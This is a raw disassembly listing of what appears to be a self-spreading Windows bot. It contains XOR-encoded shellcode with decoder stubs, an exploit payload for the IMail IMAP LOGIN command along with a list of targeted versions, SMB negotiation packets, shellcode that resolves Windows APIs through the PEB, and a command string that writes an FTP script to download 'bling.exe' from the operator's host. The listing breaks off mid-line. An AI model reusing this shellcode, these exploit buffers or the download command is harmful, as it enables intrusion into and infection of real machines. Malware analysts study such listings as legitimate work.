R O U T I N E ======================================= sub_43E17E proc near ; CODE XREF: sub_43E17E:loc_43E18Ep pop edx dec edx xor ecx, ecx mov cx, 166h loc_43E186: ; CODE XREF: sub_43E17E+Cj xor byte ptr [edx+ecx], 99h loop loc_43E186 jmp short loc_43E193 ; --------------------------------------------------------------------------- loc_43E18E: ; CODE XREF: ___:0043E17Cj call sub_43E17E loc_43E193: ; CODE XREF: sub_43E17E+Ej jo short near ptr dword_43E104+2Ah cwde cdq cdq retn sub_43E17E endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h unk_43E2FC db 2Dh ; - ; DATA XREF: sub_4093A7+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 dword_43E31C dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_4093A7+46o aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_4093A7+85o align 4 unk_43E33C db 2Dh ; - ; DATA XREF: sub_409475+37o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 dword_43E384 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_4094E0+14o dd 7473694Ch, 3Ah dword_43E3A0 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_4094E0+40o aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_4094E0+7Eo unk_43E3C0 db 2Dh ; - ; DATA XREF: ___:00409626o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h unk_43E3F0 db 2Dh ; - ; DATA XREF: ___:00409714o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_43E424 db 2Dh ; - ; DATA XREF: sub_409757+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_43E440 db 2Dh ; - ; DATA XREF: sub_409757+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h unk_43E460 db 2Dh ; - ; DATA XREF: sub_4097CE+DBo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_2 db ' Server started on Port: %d, File: %s.',0 align 4 unk_43E494 db 2Dh ; - ; DATA XREF: sub_4097CE+149o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_18 db ' Failed to start server, error: <%d>.',0 align 4 unk_43E4C8 db 2Dh ; - ; DATA XREF: sub_4097CE+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_43E4FC db 2Dh ; - ; DATA XREF: sub_4097CE+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_19 db 'Failed to start server, error: <%d>.',0 align 10h unk_43E530 db 2Dh ; - ; DATA XREF: sub_4097CE+322o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_1 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_43E56C db 2Dh ; - ; DATA XREF: sub_4097CE+390o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server, error: <%d>.',0 align 10h aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_409BC6+38o aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00409DF4o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00409E2Bo aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:00409E85o align 4 aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00409EAAo align 4 aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: ___:loc_409EBAo align 4 unk_43E624 db 2Dh ; - ; DATA XREF: sub_409ECC+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_43E65C db 2Dh ; - ; DATA XREF: sub_409ECC+EBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_43E684 db 2Dh ; - ; DATA XREF: sub_409ECC+29Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 unk_43E6B8 db 2Dh ; - ; DATA XREF: sub_409ECC+317o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_43E6EC db 2Dh ; - ; DATA XREF: sub_409ECC+387o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_43E724 db 2Dh ; - ; DATA XREF: sub_409ECC+3E2o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 dword_43E764 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40A33F+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 aA01Login db 'a01 LOGIN "&',0 ; DATA XREF: ___:0040A721o align 4 dword_43E81C dd 0E983C92Bh, 0FFFFE8B8h, 5EC0FFFFh, 0E00E7681h, 837C1F1Ah ; DATA XREF: ___:0040A731o dd 0F4E2FCEEh, 31F4701Ch, 83E0E308h, 10947A1Fh, 39943EC4h dd 796391DCh, 0F7F01B98h, 239402AFh, 35F41BC0h, 7D942E6Bh dd 0E5DF2B0Eh, 8DF9E4Ch, 71D5DBE7h, 88F4D8E1h, 543B4EDBh dd 2394FF95h, 1AF41BC4h, 0F754166Bh, 971E06BFh, 0F59436E3h dd 1D033E8Ch, 18C42B23h, 0F72F596Bh, 0C9416A0h, 3C94B7FCh dd 0F27744E8h, 2CF314AEh, 2F79CC1Fh, 4E2C7286h, 4E6C6D88h dd 0ACE04EBFh, 80F2D188h, 0AAE04ADBh, 1AFA93BFh, 7E17F761h dd 831D70B5h, 75C67230h, 8348B715h, 2F4C4936h, 3F4C59B3h dd 14CFE5B3h dword_43E8D4 dd 7D1F1A9Fh ; DATA XREF: ___:0040A6EEo db 86h, 72h word_43E8DA dw 0AE1Bh ; DATA XREF: ___:0040A700o dd 9D964986h, 85F37275h, 83487A4Ah, 2D0F7036h, 1ACFE5B5h dd 14797E8Ah, 2C757783h, 0F5D333B9h, 0F55B7007h, 8FDF2B02h dd 81968F4Ah, 8232581Eh, 69236A2h, 0D7B4B1D8h, 0CFE16888h dd 546AE5F6h, 2B44CC1Fh, 2D4E4BB2h, 2D4E1B8Ah, 0ACE04BB5h dd 79C6B788h, 0AAE0492Eh, 4BE0E58Ah, 9B77CA1Fh, 8366DC99h dd 0AAE01E95h, 83E36D1Fh, 0F6EF7230h, 834C45E4h, 7CCFE536h dd 0 ; --------------------------------------------------------------------------- loc_43E958: ; DATA XREF: ___:0040A7CBo ; ___:0040A7FDo ... jmp short loc_43E95E ; --------------------------------------------------------------------------- align 4 loc_43E95C: ; DATA XREF: ___:0040A7DCo jmp short near ptr dword_43E960 ; --------------------------------------------------------------------------- loc_43E95E: ; CODE XREF: ___:loc_43E958j add [eax], edx ; --------------------------------------------------------------------------- dword_43E960 dd 0 ; CODE XREF: ___:loc_43E95Cj dword_43E964 dd 100103BBh, 0 ; DATA XREF: ___:0040A80Eo ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 8, 1, 10h dd 0 dword_43E974 dd 100102D9h, 0 ; DATA XREF: ___:0040A884o dword_43E97C dd 1001031Bh, 0 ; DATA XREF: ___:0040A8B1o dword_43E984 dd 10010269h, 0 ; DATA XREF: ___:0040A8EFo dword_43E98C dd 10010296h, 0 ; DATA XREF: ___:0040A91Co dword_43E994 dd 100102E2h, 0 ; DATA XREF: ___:0040A949o dword_43E99C dd 100102E2h, 0 ; DATA XREF: ___:0040A976o dword_43E9A4 dd 100102E2h, 0 ; DATA XREF: ___:0040A9A3o dword_43E9AC dd 100102E2h, 0 ; DATA XREF: ___:0040A9D0o dword_43E9B4 dd 10010302h, 0 ; DATA XREF: ___:0040A9FDo dword_43E9BC dd 100249D4h, 0 ; DATA XREF: ___:0040AA2Ao dword_43E9C4 dd 1001D9BBh, 0 ; DATA XREF: ___:0040AA57o dword_43E9CC dd 100218E6h, 0 ; DATA XREF: ___:0040AA84o dword_43E9D4 dd 10021782h, 0 ; DATA XREF: ___:0040AAAEo dword_43E9DC dd 10021A51h, 0 ; DATA XREF: ___:0040AAD8o dword_43E9E4 dd 10021A51h, 0 ; DATA XREF: ___:0040AB02o dword_43E9EC dd 10021A62h, 0 ; DATA XREF: ___:0040AB3Co ; --------------------------------------------------------------------------- loc_43E9F4: ; DATA XREF: ___:0040A742o jmp short loc_43EA05 ; --------------------------------------------------------------------------- loc_43E9F6: ; CODE XREF: ___:loc_43EA05p pop ebx xor ecx, ecx sub cx, 0FFE0h loc_43E9FD: ; CODE XREF: ___:0043EA01j xor byte ptr [ebx], 55h inc ebx loop loc_43E9FD jmp short near ptr word_43EA0A ; --------------------------------------------------------------------------- loc_43EA05: ; CODE XREF: ___:loc_43E9F4j call loc_43E9F6 ; --------------------------------------------------------------------------- word_43EA0A dw 0BB8Ch ; CODE XREF: ___:0043EA03j dd 0A171218Ch, 5F94D50Ch, 0AB98ABC5h, 15BCD598h, 0B4AAh dword_43EA20 dd 57222022h, 6E773065h, 0A0D22h ; DATA XREF: ___:0040A756o aImail db 'IMail',0 ; DATA XREF: ___:0040A79Fo align 4 a7_04 db '7.04',0 ; DATA XREF: ___:0040A7B9o align 4 a7_05 db '7.05',0 ; DATA XREF: ___:loc_40A7EBo align 4 a7_06 db '7.06',0 ; DATA XREF: ___:loc_40A815o align 4 a7_07 db '7.07',0 ; DATA XREF: ___:0040A826o align 4 a7_10 db '7.10',0 ; DATA XREF: ___:loc_40A850o align 4 a7_11 db '7.11',0 ; DATA XREF: ___:0040A861o align 4 a7_12 db '7.12',0 ; DATA XREF: ___:loc_40A88Eo align 4 a7_13 db '7.13',0 ; DATA XREF: ___:loc_40A8BBo align 4 a7_14 db '7.14',0 ; DATA XREF: ___:0040A8CCo align 4 a7_15 db '7.15',0 ; DATA XREF: ___:loc_40A8F9o align 4 a8_00 db '8.00',0 ; DATA XREF: ___:loc_40A926o align 4 a8_01 db '8.01',0 ; DATA XREF: ___:loc_40A953o align 4 a8_02 db '8.02',0 ; DATA XREF: ___:loc_40A980o align 4 a8_03 db '8.03',0 ; DATA XREF: ___:loc_40A9ADo align 4 a8_04 db '8.04',0 ; DATA XREF: ___:loc_40A9DAo align 4 a8_05 db '8.05',0 ; DATA XREF: ___:loc_40AA07o align 4 a8_10 db '8.10',0 ; DATA XREF: ___:loc_40AA34o align 4 a8_11 db '8.11',0 ; DATA XREF: ___:loc_40AA61o align 4 a8_12 db '8.12',0 ; DATA XREF: ___:loc_40AA8Bo align 4 a8_13 db '8.13',0 ; DATA XREF: ___:loc_40AAB5o align 4 a8_14 db '8.14',0 ; DATA XREF: ___:loc_40AADFo align 4 a8_15 db '8.15',0 ; DATA XREF: ___:loc_40AB19o align 4 aHotfix2 db 'hotfix2',0 ; DATA XREF: ___:loc_40AB43o a4_0 db '4.0',0 ; DATA XREF: ___:loc_40AB5Fo a5_0 db '5.0',0 ; DATA XREF: ___:0040AB70o a6_0 db '6.0',0 ; DATA XREF: ___:0040AB81o a7_0 db '7.0',0 ; DATA XREF: ___:0040AB92o aImail_0 db 'IMail',0 ; DATA XREF: ___:loc_40ABA3o align 4 aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_40ACD9+42o db 'echo quit >> o &ftp -n -s:o',0Dh,0Ah,0 align 4 aBling_exe db 'bling.exe',0Dh,0Ah,0 ; CODE XREF: ___:0043EBAEj ; DATA XREF: sub_40ACD9+85o ; --------------------------------------------------------------------------- loc_43EB70: ; DATA XREF: sub_40AF1B+118o jmp short loc_43EB75 ; --------------------------------------------------------------------------- loc_43EB72: ; CODE XREF: ___:loc_43EB75p pop ebp jmp short loc_43EB7A ; --------------------------------------------------------------------------- loc_43EB75: ; CODE XREF: ___:loc_43EB70j call loc_43EB72 loc_43EB7A: ; CODE XREF: ___:0043EB73j mov eax, ebp add eax, 11h xor ecx, ecx mov cx, 1C9h ; CODE XREF: ___:0043EBA0j loc_43EB85: ; CODE XREF: ___:0043EB89j xor byte ptr [eax], 88h inc eax loop loc_43EB85 fld qword ptr [ebx] add edi, fs:[ecx+ecx+64h] or [eax-3B9F7778h], cl mov [eax+74CE0188h], ecx loc_43EB9E: ; CODE XREF: ___:loc_43EB9Ej ja short loc_43EB9E jz short near ptr loc_43EB81+1 push es mov byte ptr [esi-76269F9Ch], 88h mov [ecx], al into dec esi loopne near ptr aBling_exe+7 mov edx, 0FFE08888h sti mov edx, 0DE77DCD7h dec esi add esi, ecx jo short loc_43EC37 ; --------------------------------------------------------------------------- dd 25E074FEh, 60468D51h, 888889B8h, 775ACE01h, 0FAE074FEh dd 609E3B76h, 888889A8h, 7746CE01h, 67E074FEh, 60E86846h dd 88888998h, 7742CE01h, 43E070FEh, 60B37465h db 88h, 89h, 88h ; --------------------------------------------------------------------------- loc_43EBFB: ; CODE XREF: ___:loc_43EC6Fj mov [ecx], al into jl short loc_43EC77 ; --------------------------------------------------------------------------- db 0FEh, 70h, 0E0h ; --------------------------------------------------------------------------- loc_43EC03: ; CODE XREF: ___:0043EC21j push ecx cmp dword ptr [ebp+25h], 88887860h mov [ecx], al into js short loc_43EC87 ; --------------------------------------------------------------------------- db 0FEh, 70h, 0E0h ; --------------------------------------------------------------------------- loc_43EC13: ; CODE XREF: ___:0043EC31j sub al, 92h clc dec edi pusha push 1888888h into db 64h ; CODE XREF: ___:0043EC1Ej ja short near ptr loc_43EC1E+1 jo short loc_43EC03 loc_43EC23: ; CODE XREF: ___:0043EC41j sub al, 25h cmpsb popa pusha pop eax mov [eax+60CE0188h], cl loc_43EC2F: ; CODE XREF: ___:loc_43EC2Fj ja short loc_43EC2F jo short loc_43EC13 insd ror dword ptr [esi], 0C1h loc_43EC37: ; CODE XREF: ___:0043EBBEj pusha dec eax mov [eax+6ACE0188h], cl loc_43EC3F: ; CODE XREF: ___:loc_43EC3Fj ja short loc_43EC3F jo short loc_43EC23 outsd icebp dec esi icebp pusha loc_43EC48: ; CODE XREF: ___:0043EC68j cmp [eax-31FE7778h], cl pop esi mov ebx, 7C640977h mov [eax-761F2378h], ecx loc_43EC5A: ; CODE XREF: ___:loc_43EC7Aj ; ___:0043EC7Fj mov [eax+7CDE7788h], ecx fcomp st fcomp st enter 0FFFFC8D8h, 0D8h ; CODE XREF: ___:loc_43EC87j ja short loc_43EC48 js short loc_43EC6F push eax fstp9 st(7) loc_43EC6F: ; CODE XREF: ___:0043EC6Aj loopne loc_43EBFB mov [ebx-1DBBFC91h], ch loc_43EC77: ; CODE XREF: ___:0043EBFEj sahf fstp1 st(3) loc_43EC7A: ; CODE XREF: ___:0043ECACj ja short loc_43EC5A loc_43EC7C: ; CODE XREF: ___:0043EC8Ej db 64h fstp9 st(3) ja short near ptr loc_43EC5A+5 pusha mov ebx, 0DBD9DF77h loc_43EC87: ; CODE XREF: ___:0043EC0Ej ja short near ptr loc_43EC64+3 push 3 pop eax add esi, ecx db 36h ; CODE XREF: ___:0043ECD5j loopne loc_43EC7C in eax, 0ECh mov [ecx], al out dx, al dec edx or ecx, [esp+5] mov ah, 0ACh mov ebx, 841BB48h dec ecx popf and ebp, [edx+75h] dec esi int 3 ; Trap to Debugger lodsb cwde int 3 ; Trap to Debugger jbe short loc_43EC7A lodsb mov ch, 1 fsubr qword ptr [eax+eax*8-3B5323FFh] ; CODE XREF: ___:0043ECD7j add esp, ebx lodsb fadd dword ptr ds:0DC98ACCCh fcomp st(1) fstp1 st(1) leave fld st(1) fstp1 st(1) loc_43ECCA: ; CODE XREF: ___:loc_43ECCAj ja short loc_43ECCA dec edx fnstenv byte ptr [edi-22h] inc esi add eax, [edx+77h] ja short near ptr loc_43EC8E+2 ja short near ptr loc_43ECB1+6 pop edx add eax, [eax+77h] ; --------------------------------------------------------------------------- db 0FEh, 36h, 77h dd 16635EDEh, 0DE9CDE77h, 88B829ECh, 0C8038888h, 94F80384h dd 80C80325h, 888C4AD6h, 0DFDEDDDBh, 90ACE403h, 3B4CD03h dd 8BF08DDCh, 90C2035Dh, 8BA8D203h, 0C1BA6B55h, 8B03BC03h dd 7477BB7Dh, 0B22448BBh, 498FFC4Ch, 708B8547h, 0F4B37A63h dd 69FD9CACh, 8BACD203h, 8403EE55h, 94D203C3h, 8C03558Bh dd 634D8B03h, 348BB8Ah, 0D5D6D75Dh, 888C4AD3h dword_43ED54 dd 280004h, 10h, 4 dup(0) ; DATA XREF: sub_40AF1B+7Bo dd 5A7B91F8h, 11D0FF00h, 0C000B2A9h, 0FCE6B64Fh, 0FFFFFFFFh dd 68736942h, 326B656Bh, 0FF333030h, 0 dd 1, 0 dd 0FFFF0000h, 0FFFFFFFFh, 0FFFFh, 0 aWindows2000Sp3 db 'Windows 2000 SP 3 (en)',0 ; DATA XREF: ___:0040ADC3o align 10h aWindowsXpSp1En db 'Windows XP SP 1 (en)',0 ; DATA XREF: ___:0040ADDCo align 4 dword_43EDD8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_40AF1B+10o dd 0FFFFFFFFh, 0 aNetmaniac db 'NETMANIAC',0 ; DATA XREF: sub_40AF1B+1Eo align 4 aAdik db 'ADIK',0 ; DATA XREF: sub_40AF1B+2Ao align 4 byte_43EDFC db 5 dup(90h) ; DATA XREF: sub_40AF1B+35o ; --------------------------------------------------------------------------- jmp short loc_43EE06 ; =============== S U B R O U T I N E ======================================= sub_43EE03 proc near ; CODE XREF: sub_43EE03:loc_43EE06p pop eax jmp short loc_43EE0B ; --------------------------------------------------------------------------- loc_43EE06: ; CODE XREF: ___:0043EE01j call sub_43EE03 loc_43EE0B: ; CODE XREF: sub_43EE03+1j mov ecx, 0FFFFFFFFh sub ecx, 0FFFFEE7Fh sub eax, ecx jmp eax sub_43EE03 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 byte_43EE1C db 4 dup(90h) ; DATA XREF: sub_40AF1B+45o dd 909010EBh, 90909090h, 0 aMessage db '*** MESSAGE ***',0 ; DATA XREF: sub_40AF1B+51o aMsgBodySizeD db '[*] Msg body size: %d',0Ah,0 ; DATA XREF: sub_40AF1B+177o align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40B3A1+B2o align 10h dword_43EE60 dd 10FF8h, 0 ; DATA XREF: sub_40B3A1+6Ao dword_43EE68 dd 10FF8h ; DATA XREF: sub_40B3A1+79o dword_43EE6C dd 7FFDF020h, 0 ; DATA XREF: sub_40B3A1+162o dword_43EE74 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40B7CB+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_43EEFC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B7CB+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_43EF2C dd 0 ; DATA XREF: sub_40B7CB+44o dd 800000D4h, 0 unk_43EF38 db 81h ; ; DATA XREF: sub_40B8A5+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_43EF84 db 41h ; DATA XREF: sub_40B943+FFr aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_43EFC8 proc near ; DATA XREF: ___:0040BBFAo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_43F0C4 push dword ptr [esi] push 63D61209h call sub_43F0DA mov [esi+8], eax call sub_43F08D push dword ptr [esi+4] push 0CA2BD06Bh call sub_43F0DA mov [esi+0Ch], eax call sub_43F03F push dword ptr [esi+4] push 4C0297FAh call sub_43F0DA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_43EFC8 endp ; =============== S U B R O U T I N E ======================================= sub_43F03F proc near ; CODE XREF: sub_43EFC8+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_43F068 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_43F03F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43F068 proc near ; CODE XREF: sub_43F03F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_43F077: ; CODE XREF: sub_43F068+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_43F084 inc ebx jmp short loc_43F077 ; --------------------------------------------------------------------------- loc_43F084: ; CODE XREF: sub_43F068+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_43F068 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43F08D proc near ; CODE XREF: sub_43EFC8+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_43F0A5: ; CODE XREF: sub_43F08D+1Ej cmp [ecx], ebx jz short loc_43F0AD mov ecx, [ecx] jmp short loc_43F0A5 ; --------------------------------------------------------------------------- loc_43F0AD: ; CODE XREF: sub_43F08D+1Aj mov edx, edi loc_43F0AF: ; CODE XREF: sub_43F08D+2Aj cmp [edx+4], ebx jz short loc_43F0B9 mov edx, [edx+4] jmp short loc_43F0AF ; --------------------------------------------------------------------------- loc_43F0B9: ; CODE XREF: sub_43F08D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43F08D endp ; =============== S U B R O U T I N E ======================================= sub_43F0C4 proc near ; CODE XREF: sub_43EFC8+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_43F0C4 endp ; =============== S U B R O U T I N E ======================================= sub_43F0DA proc near ; CODE XREF: sub_43EFC8+16p ; sub_43EFC8+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_43F0F0: ; CODE XREF: sub_43F0DA+33j jecxz short loc_43F12A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_43F0FD: ; CODE XREF: sub_43F0DA+2Dj lodsb cmp al, ah jz short loc_43F109 ror edi, 0Dh add edi, eax jmp short loc_43F0FD ; --------------------------------------------------------------------------- loc_43F109: ; CODE XREF: sub_43F0DA+26j cmp edi, [esp+20h+arg_0] jnz short loc_43F0F0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_43F12A: ; CODE XREF: sub_43F0DA:loc_43F0F0j ; sub_43F0DA:loc_43F12Aj jmp short loc_43F12A sub_43F0DA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43F130 proc near ; DATA XREF: ___:0040BBA8o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_43F182 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_43F14D: ; CODE XREF: sub_43F130+38j jecxz short loc_43F17D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_43F158: ; CODE XREF: sub_43F130+32j lodsb test al, al jz short loc_43F164 ror edx, 0Dh add edx, eax jmp short loc_43F158 ; --------------------------------------------------------------------------- loc_43F164: ; CODE XREF: sub_43F130+2Bj cmp edx, [esp+arg_0] jnz short loc_43F14D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_43F17D: ; CODE XREF: sub_43F130:loc_43F14Dj mov [esp+arg_0], ebx retn sub_43F130 endp ; =============== S U B R O U T I N E ======================================= sub_43F182 proc near ; CODE XREF: sub_43F130+7p ; FUNCTION CHUNK AT 0043F1BA SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_43F19B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_43F1A6 ; --------------------------------------------------------------------------- loc_43F19B: ; CODE XREF: sub_43F182+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_43F1A6: ; CODE XREF: 